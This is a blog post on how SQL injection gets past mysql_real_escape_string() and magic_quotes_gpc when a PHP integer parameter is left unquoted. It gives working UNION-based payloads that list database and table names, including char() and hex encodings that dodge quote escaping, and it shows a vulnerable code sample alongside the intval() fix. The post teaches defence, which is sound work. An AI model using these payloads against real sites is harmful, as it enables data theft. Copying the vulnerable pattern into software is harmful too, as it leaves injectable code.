Life doesn't change, But people do!

Bypassing mysql_real_escape_string() and magic_quotes_gpc

Hi everybody today I want to publish about an old important subject. I think bypassing mysql_real_escape_string() function has been an fascinating issue since PHP released it. There have been significant questions asked by inexperienced developers (often hackers) that are “does it fully protect against SQL injection?” or “has it ever been bypassed ?”
I am writing here and making you certain there is no way to bypass mysql_real_escape_string(), except that programmer uses it inaccurately. It only relies on where the function is implemented. If it is used in some deprecated places, it causes the code being vulnerable and also it could be bypassed easily. In continue I shall show practical examples of different situations.
All examples in continue of this article have been tested on a virtual machine deployed by PHP 5.2.9,Apache 2.0.55 and MySQL 5.1.53. Please pay attention to following sources:

Source A:

<?php

private function PostFileByName($PostName)
{
	$this->_PostName = $PostName;
	$data = $this->GetRecord("select * from `posts` where `name`='".mysql_real_escape_string($this->_PostName)."'");
	return $data['post-file'];
}

Source B:

<?php

private function PostFileByID($ID)
{
	$this->_ID = $ID;
	$data = $this->GetRecord("select * from `posts` where `id` = ".mysql_real_escape_string($this->_ID));
	return $data['post-file'];
}

They both seem to be same, although the source B has an injection vulnerability. It is inject-able by query: (table is supposed to have 2 columns)

 
?id=1 union select 1,database()
 

By the way mysql_real_escape_string() function does not influence yet. It has some faint effects when a hacker tries to gather names of tables. Last query would give database name (assume its name is “test“), and if the following query is executed:

 
?id=1 union select 1,table_name from information_schema.tables where table_schema = 'test'
 

The result will be an error, mysql_real_escape_string escapes quotes… our query behind the scenes is:

 
SELECT * FROM {table} WHERE id=1 union select 1,table_name from information_schema.tables where TABLE_SCHEMA=\'test\'
 

Which is unacceptable to MySQL. Here is bypassing term what I have talked about, there are two options of choices. Substitution “test” either for its equivalent decimal ASCII value or HEX value. These both works as well:

 
?id=1 union select 1,table_name from information_schema.tables where table_schema = char(116,101,115,116)
?id=1 union select 1,table_name from information_schema.tables where table_schema = 0x74657374
 

Neither mysql_real_escape_string() function nor magic_quotes_gpc can prevent code from being inject-able. This imperfection is made, since programmer has treated input like an integer value and this is absolutely wrong. However source A is totally invulnerable. As far as I concerned there is no drawbacks to using this function but be-careful about where it is implemented, ONLY FOR STRINGS ENTRIES. To secure integer inputs intval() function is best way I have ever known:

<?php

private function PostFileByID($ID)
{
	$this->_ID = $ID;
	$data = $this->GetRecord("select * from `posts` where `id` = ".intval($this->_ID));
	return $data['post-file'];
}

This was a basic lesson of securing source code, but I believe there are a few do’s and dot’s and if any programmer follows them, there would not unlikely be a injection in php source codes. Finally, I would show you my tiny string converter, it is available here, be safe.

10 thoughts on “Bypassing mysql_real_escape_string() and magic_quotes_gpc

Leave a Reply

Your email address will not be published. Required fields are marked *


× two = sixteen

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

© 2014 - Yashar shahinzadeh official blog